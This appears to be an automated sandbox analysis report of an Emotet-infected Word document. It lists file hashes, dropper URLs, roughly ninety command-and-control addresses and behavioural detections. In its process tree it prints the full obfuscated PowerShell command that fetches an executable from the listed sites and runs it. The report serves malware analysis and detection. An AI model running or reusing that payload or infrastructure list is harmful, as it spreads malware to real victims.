Analysis
- max time kernel
136s - max time network
143s - platform
windows10_x64 - resource
win10 - submitted
30/09/2020, 20:41
Static task
static1
Behavioral task
behavioral1
Sample
Untitled 2020_09_30 U1191.doc
Resource
win7
General
- Target Untitled 2020_09_30 U1191.doc
- Size 132KB
- Sample200930-1m7hbtf4aa
- SHA256 fb0668d96c8cbdcf1f69f7c6faf12c8a5ebb4182f8fe92489d8e3d31796609d9
- MD5 1f0ed09e92cf8a382d985624869f6bde
- SHA1 79d98de669baa1f9718375c765bcbcde3682b40f
- SHA512 4968594ad71420933b0bfc8e283a48b4724da9c196daa7d2535bd91d09288212e19002dbed8a1be89640f9fdb6f2cad1335ef190c4180bb3ea599d99b124f9fc
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://marmolhi.com/_vti_bin/0JE/
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exe.dropper
http://method21.net/r/Ij3/
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exe.dropper
http://callrealtyaz.com/wp-content/f/
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exe.dropper
http://bullardstowing.com/wp-content/w/
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exe.dropper
http://gncnacionaldeconsultores.com/wp-admin/xN/
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exe.dropper
https://jobnewsindia.info/wp-content/zR/
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exe.dropper
https://lotusorganics.store/wp-includes/C/
Extracted
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emotet
-
202.22.141.45:80
-
37.187.161.206:8080
-
202.29.239.162:443
-
80.87.201.221:7080
-
82.76.111.249:443
-
216.47.196.104:80
-
192.241.143.52:8080
-
192.81.38.31:80
-
87.106.253.248:8080
-
64.201.88.132:80
-
192.241.146.84:8080
-
12.162.84.2:8080
-
1.226.84.243:8080
-
177.129.17.170:443
-
202.134.4.210:7080
-
70.169.17.134:80
-
152.169.22.67:80
-
5.196.35.138:7080
-
138.97.60.141:7080
-
203.205.28.68:80
-
83.169.21.32:7080
-
191.182.6.118:80
-
190.188.245.242:80
-
62.84.75.50:80
-
181.74.0.251:80
-
189.2.177.210:443
-
111.67.12.221:8080
-
188.135.15.49:80
-
217.13.106.14:8080
-
68.183.190.199:8080
-
178.250.54.208:8080
-
189.35.44.221:80
-
201.213.177.139:80
-
137.74.106.111:7080
-
177.73.0.98:443
-
70.32.84.74:8080
-
51.15.7.145:80
-
177.74.228.34:80
-
185.94.252.27:443
-
50.121.220.50:80
-
186.70.127.199:8090
-
85.214.26.7:8080
-
181.129.96.162:8080
-
70.32.115.157:8080
-
82.230.1.24:80
-
60.93.23.51:80
-
213.197.182.158:8080
-
149.202.72.142:7080
-
190.115.18.139:8080
-
72.167.223.217:8080
-
190.24.243.186:80
-
109.169.12.78:80
-
94.176.234.118:443
-
185.232.182.218:80
-
219.92.13.25:80
-
209.236.123.42:8080
-
119.106.216.84:80
-
51.255.165.160:8080
-
51.75.33.127:80
-
51.15.7.189:80
-
61.197.92.216:80
-
5.189.178.202:8080
-
172.104.169.32:8080
-
45.33.77.42:8080
-
98.13.75.196:80
-
74.58.215.226:80
-
68.183.170.114:8080
-
155.186.0.121:80
-
190.117.79.209:80
-
128.92.203.42:80
-
202.4.58.197:80
-
70.116.143.84:80
-
77.238.212.227:80
-
67.247.242.247:80
-
12.163.208.58:80
-
212.71.237.140:8080
-
46.43.2.95:8080
-
96.227.52.8:443
-
186.103.141.250:443
-
185.94.252.12:80
-
104.131.41.185:8080
-
45.46.37.97:80
-
95.9.180.128:80
-
87.106.46.107:8080
-
50.28.51.143:8080
-
65.36.62.20:80
-
35.143.99.174:80
-
51.38.124.206:80
-
185.183.16.47:80
-
181.30.61.163:443
-
170.81.48.2:80
-
74.136.144.133:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2844 1500 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3520-13-0x0000000000690000-0x00000000006A2000-memory.dmp emotet behavioral2/memory/3520-14-0x00000000020D0000-0x00000000020E0000-memory.dmp emotet behavioral2/memory/1848-17-0x0000000000490000-0x00000000004A2000-memory.dmp emotet behavioral2/memory/1848-18-0x0000000000470000-0x0000000000480000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 16 2844 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3520 Inz8mn.exe 1848 sscore.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\StateRepository.Core\sscore.exe Inz8mn.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 4004 WINWORD.EXE 4004 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2844 POwersheLL.exe 2844 POwersheLL.exe 2844 POwersheLL.exe 1848 sscore.exe 1848 sscore.exe 1848 sscore.exe 1848 sscore.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2844 POwersheLL.exe - Suspicious use of SetWindowsHookEx 11 IoCs
pid Process 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 4004 WINWORD.EXE 3520 Inz8mn.exe 1848 sscore.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2844 wrote to memory of 3520 2844 POwersheLL.exe 81 PID 2844 wrote to memory of 3520 2844 POwersheLL.exe 81 PID 2844 wrote to memory of 3520 2844 POwersheLL.exe 81 PID 3520 wrote to memory of 1848 3520 Inz8mn.exe 83 PID 3520 wrote to memory of 1848 3520 Inz8mn.exe 83 PID 3520 wrote to memory of 1848 3520 Inz8mn.exe 83
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Untitled 2020_09_30 U1191.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4004
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABTAHQAcQBkAGcAbABxAD0AKAAoACcARwAwACcAKwAnAGkANQA4ACcAKQArACcAeQA2ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgBWADoAdQBTAGUAUgBQAHIATwBmAEkAbABFAFwAdgBKAEcARQBvAEsAcgBcAFYAUgBjAGgAeQBhAEMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQBSAGAAaQB0AHkAUABSAE8AdABgAG8AQwBPAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIALAAgACcAKQArACgAJwB0AGwAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAWAB6AGkAcQA1ADUAdgAgAD0AIAAoACgAJwBJAG4AegA4ACcAKwAnAG0AJwApACsAJwBuACcAKQA7ACQASgBhAGUAZgBuAHkAdgA9ACgAJwBYACcAKwAoACcAeABfACcAKwAnADMAbABuACcAKQArACcAcwAnACkAOwAkAFIAcwA3ADAANgAyADMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAcgBLACcAKwAnAGEAVgAnACsAKAAnAGoAZwAnACsAJwBlAG8AJwApACsAKAAnAGsAcgAnACsAJwByACcAKQArACcASwAnACsAJwBhACcAKwAoACcAVgByACcAKwAnAGMAaAB5AGEAYwAnACsAJwByAEsAJwApACsAJwBhACcAKQAuACIAUgBlAFAATABhAGAAQwBFACIAKAAoAFsAYwBIAEEAcgBdADEAMQA0ACsAWwBjAEgAQQByAF0ANwA1ACsAWwBjAEgAQQByAF0AOQA3ACkALAAnAFwAJwApACkAKwAkAFgAegBpAHEANQA1AHYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4ANAA5ADgAcQBjAHkAPQAoACgAJwBFAHgAJwArACcAMAA3AGwAJwApACsAJwBtACcAKwAnAGcAJwApADsAJABVAGgAbwBlAHcAYgBrAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAGMAbABJAEUATgBUADsAJABaAGEAcwBmAHQAZQBlAD0AKAAnAGgAJwArACgAJwB0AHQAcAA6AC8AJwArACcALwBtAGEAJwApACsAKAAnAHIAbQBvACcAKwAnAGwAaABpACcAKwAnAC4AYwBvACcAKwAnAG0AJwApACsAJwAvACcAKwAoACcAXwAnACsAJwB2AHQAJwApACsAJwBpAF8AJwArACcAYgBpACcAKwAnAG4AJwArACgAJwAvACcAKwAnADAASgAnACkAKwAoACcARQAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AbQAnACkAKwAoACcAZQAnACsAJwB0AGgAJwApACsAKAAnAG8AJwArACcAZAAyADEAJwApACsAJwAuAG4AJwArACgAJwBlAHQAJwArACcALwAnACkAKwAnAHIAJwArACcALwBJACcAKwAoACcAagAnACsAJwAzAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AYwAnACsAJwBhAGwAbAAnACsAJwByAGUAJwArACcAYQBsAHQAeQBhAHoAJwApACsAKAAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQAnACkAKwAoACcAYwBvAG4AJwArACcAdABlAG4AJwArACcAdAAvAGYALwAqAGgAdAAnACkAKwAnAHQAJwArACgAJwBwACcAKwAnADoALwAnACkAKwAnAC8AYgAnACsAJwB1AGwAJwArACcAbAAnACsAJwBhACcAKwAoACcAcgAnACsAJwBkAHMAdABvACcAKQArACgAJwB3ACcAKwAnAGkAbgAnACkAKwAoACcAZwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAJwApACsAJwBwAC0AJwArACcAYwAnACsAKAAnAG8AbgAnACsAJwB0AGUAbgB0ACcAKQArACgAJwAvAHcAJwArACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAKAAnADoALwAvAGcAbgAnACsAJwBjAG4AJwApACsAJwBhAGMAJwArACgAJwBpAG8AJwArACcAbgBhACcAKQArACcAbABkACcAKwAoACcAZQBjACcAKwAnAG8AbgAnACkAKwAoACcAcwAnACsAJwB1AGwAdABvACcAKQArACgAJwByAGUAJwArACcAcwAnACsAJwAuAGMAbwBtACcAKQArACcALwAnACsAJwB3AHAAJwArACgAJwAtAGEAZABtAGkAbgAvACcAKwAnAHgATgAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwApACsAKAAnAHAAcwAnACsAJwA6AC8AJwApACsAJwAvAGoAJwArACcAbwBiACcAKwAoACcAbgBlACcAKwAnAHcAcwAnACkAKwAnAGkAbgAnACsAKAAnAGQAJwArACcAaQBhACcAKQArACgAJwAuAGkAJwArACcAbgAnACkAKwAoACcAZgAnACsAJwBvAC8AdwBwACcAKQArACgAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnAHoAUgAnACsAJwAvACoAJwArACgAJwBoAHQAdAAnACsAJwBwAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGwAbwB0AHUAcwAnACsAJwBvAHIAJwArACcAZwBhACcAKQArACgAJwBuAGkAJwArACcAYwAnACkAKwAoACcAcwAnACsAJwAuAHMAJwApACsAJwB0AG8AJwArACgAJwByACcAKwAnAGUALwAnACkAKwAoACcAdwBwAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwApACsAKAAnAGUAJwArACcAcwAvACcAKQArACcAQwAvACcAKQAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAGIAYwBjAGIAZwBkAD0AKAAnAFIAYwAnACsAKAAnAG0AZwAnACsAJwA5ACcAKQArACcAOAB0ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFkAOAB4AHMAZwB0AHMAIABpAG4AIAAkAFoAYQBzAGYAdABlAGUAKQB7AHQAcgB5AHsAJABVAGgAbwBlAHcAYgBrAC4AIgBkAE8AdwBuAGwAbwBgAEEARABmAEkAYABsAEUAIgAoACQAWQA4AHgAcwBnAHQAcwAsACAAJABSAHMANwAwADYAMgAzACkAOwAkAFYAagBnAGQAbwByAGEAPQAoACcASgAnACsAKAAnAGoAMAAxACcAKwAnAHoAJwArACcAegB1ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAbQAnACkAIAAkAFIAcwA3ADAANgAyADMAKQAuACIATABgAEUATgBnAHQASAAiACAALQBnAGUAIAAzADEAMgAzADgAKQAgAHsALgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQAUgBzADcAMAA2ADIAMwApADsAJABDAHEAagBrAHAAYgBtAD0AKAAoACcASgAnACsAJwBpAG4AJwApACsAJwAyACcAKwAoACcAcgA5ACcAKwAnAGoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEYAYwBjAGYAYwBzADYAPQAoACgAJwBUADEAMwBoACcAKwAnAG8AJwApACsAJwA3ADAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABUADEANgByAGsAcgBvAD0AKAAoACcAVgAnACsAJwBvAGIAJwApACsAKAAnAGkAJwArACcAeQB2ADcAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Users\Admin\Vjgeokr\Vrchyac\Inz8mn.exe"C:\Users\Admin\Vjgeokr\Vrchyac\Inz8mn.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\SysWOW64\StateRepository.Core\sscore.exe"C:\Windows\SysWOW64\StateRepository.Core\sscore.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1848
-
-